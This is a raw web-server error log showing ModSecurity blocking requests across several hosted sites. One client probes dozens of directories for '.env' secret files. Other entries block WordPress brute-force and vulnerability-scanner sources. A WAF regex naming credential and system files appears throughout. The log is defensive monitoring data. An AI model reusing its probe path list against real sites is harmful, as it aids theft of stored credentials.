https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:13:06.979230 2026] [security2:error] [pid 531155:tid 531230] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/test/.env"] [unique_id "ai3yEimiP80klyS0NnoKaQABNko"] [Sat Jun 13 18:13:07.105617 2026] [security2:error] [pid 531155:tid 531216] [remote 162.254.36.150:53970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "loohan.com"] [uri "/xmlrpc.php"] [unique_id "ai3yEymiP80klyS0NnoKbQABWTw"] [Sat Jun 13 18:13:07.105801 2026] [security2:error] [pid 531155:tid 531364] [client 162.254.36.150:53970] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "loohan.com"] [uri "/xmlrpc.php"] [unique_id "ai3yEymiP80klyS0NnoKbQABWTw"] [Sat Jun 13 18:13:07.111745 2026] [security2:error] [pid 531155:tid 531281] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/testing/.env"] [unique_id "ai3yEymiP80klyS0NnoKcAABWn0"] [Sat Jun 13 18:13:07.245103 2026] [security2:error] [pid 531155:tid 531280] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/development/.env"] [unique_id "ai3yEymiP80klyS0NnoKeQABDXw"] [Sat Jun 13 18:13:07.377976 2026] [security2:error] [pid 531155:tid 531162] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/develop/.env"] [unique_id "ai3yEymiP80klyS0NnoKgwABEAY"] [Sat Jun 13 18:13:07.390914 2026] [access_compat:error] [pid 531155:tid 531235] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:07.391213 2026] [access_compat:error] [pid 531155:tid 531235] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:07.400329 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.3:27274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:07.400731 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.3:27274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:07.456595 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.106:47327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:07.456600 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.111:34698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:07.456883 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.106:47327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:07.456895 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.111:34698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:07.510648 2026] [security2:error] [pid 531155:tid 531258] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/docker/.env"] [unique_id "ai3yEymiP80klyS0NnoKkAABhGY"] [Sat Jun 13 18:13:07.511955 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:13:07.512259 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:13:07.643241 2026] [security2:error] [pid 531155:tid 531245] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/docker-compose/.env"] [unique_id "ai3yEymiP80klyS0NnoKlgABa1k"] [Sat Jun 13 18:13:07.646690 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.107:48061] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:07.646954 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.107:48061] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:07.775708 2026] [security2:error] [pid 531155:tid 531240] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/.docker/.env"] [unique_id "ai3yEymiP80klyS0NnoKogABFFQ"] [Sat Jun 13 18:13:07.910614 2026] [security2:error] [pid 531155:tid 531156] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/src/.env"] [unique_id "ai3yEymiP80klyS0NnoKqwABagA"] [Sat Jun 13 18:13:07.996624 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.106:47341] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:07.997050 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.106:47341] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:08.044064 2026] [security2:error] [pid 531155:tid 531232] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/source/.env"] [unique_id "ai3yFCmiP80klyS0NnoKtwABWUw"] [Sat Jun 13 18:13:08.051154 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:08.051414 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:08.069532 2026] [lsapi:warn] [pid 531155:tid 531239] [remote 204.44.107.238:41981] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:13:08.069558 2026] [lsapi:warn] [pid 531155:tid 531239] [remote 204.44.107.238:41981] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:13:08.135579 2026] [security2:error] [pid 531155:tid 531176] [remote 17.22.253.107:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFCmiP80klyS0NnoKuwABehQ"] [Sat Jun 13 18:13:08.176998 2026] [security2:error] [pid 531155:tid 531257] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/sources/.env"] [unique_id "ai3yFCmiP80klyS0NnoKvwABe2U"] [Sat Jun 13 18:13:08.307278 2026] [security2:error] [pid 531155:tid 531338] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/bug35669.phpt"] [unique_id "ai3yFCmiP80klyS0NnoKxAAAAT8"] [Sat Jun 13 18:13:08.309448 2026] [security2:error] [pid 531155:tid 531165] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/root/.env"] [unique_id "ai3yFCmiP80klyS0NnoKxQABZAk"] [Sat Jun 13 18:13:08.442007 2026] [security2:error] [pid 531155:tid 531279] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/home/.env"] [unique_id "ai3yFCmiP80klyS0NnoKywABVXs"] [Sat Jun 13 18:13:08.474195 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.51:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:08.474634 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.51:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:08.557069 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:08.557583 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:08.575252 2026] [security2:error] [pid 531155:tid 531186] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/site/.env"] [unique_id "ai3yFCmiP80klyS0NnoK0gABLR4"] [Sat Jun 13 18:13:08.611360 2026] [security2:error] [pid 531155:tid 531263] [remote 17.246.23.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFCmiP80klyS0NnoK1wABZ2s"] [Sat Jun 13 18:13:08.709026 2026] [security2:error] [pid 531155:tid 531219] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/panel/.env"] [unique_id "ai3yFCmiP80klyS0NnoK2gABVD8"] [Sat Jun 13 18:13:08.760254 2026] [security2:error] [pid 531155:tid 531158] [remote 144.76.119.9:61950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "medredisolutions.com"] [uri "/wp-login.php"] [unique_id "ai3yFCmiP80klyS0NnoK3QABFwI"], referer: https://medredisolutions.com/wp-login.php [Sat Jun 13 18:13:08.841953 2026] [security2:error] [pid 531155:tid 531159] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/control/.env"] [unique_id "ai3yFCmiP80klyS0NnoK5gABOQM"] [Sat Jun 13 18:13:08.963535 2026] [security2:error] [pid 531155:tid 531217] [remote 17.246.19.249:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFCmiP80klyS0NnoK7AABEj0"] [Sat Jun 13 18:13:08.975172 2026] [security2:error] [pid 531155:tid 531193] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/console/.env"] [unique_id "ai3yFCmiP80klyS0NnoK7QABOCU"] [Sat Jun 13 18:13:08.977046 2026] [security2:error] [pid 531155:tid 531167] [remote 17.241.75.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFCmiP80klyS0NnoK7gABXQs"] [Sat Jun 13 18:13:09.067177 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:13:09.067629 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server 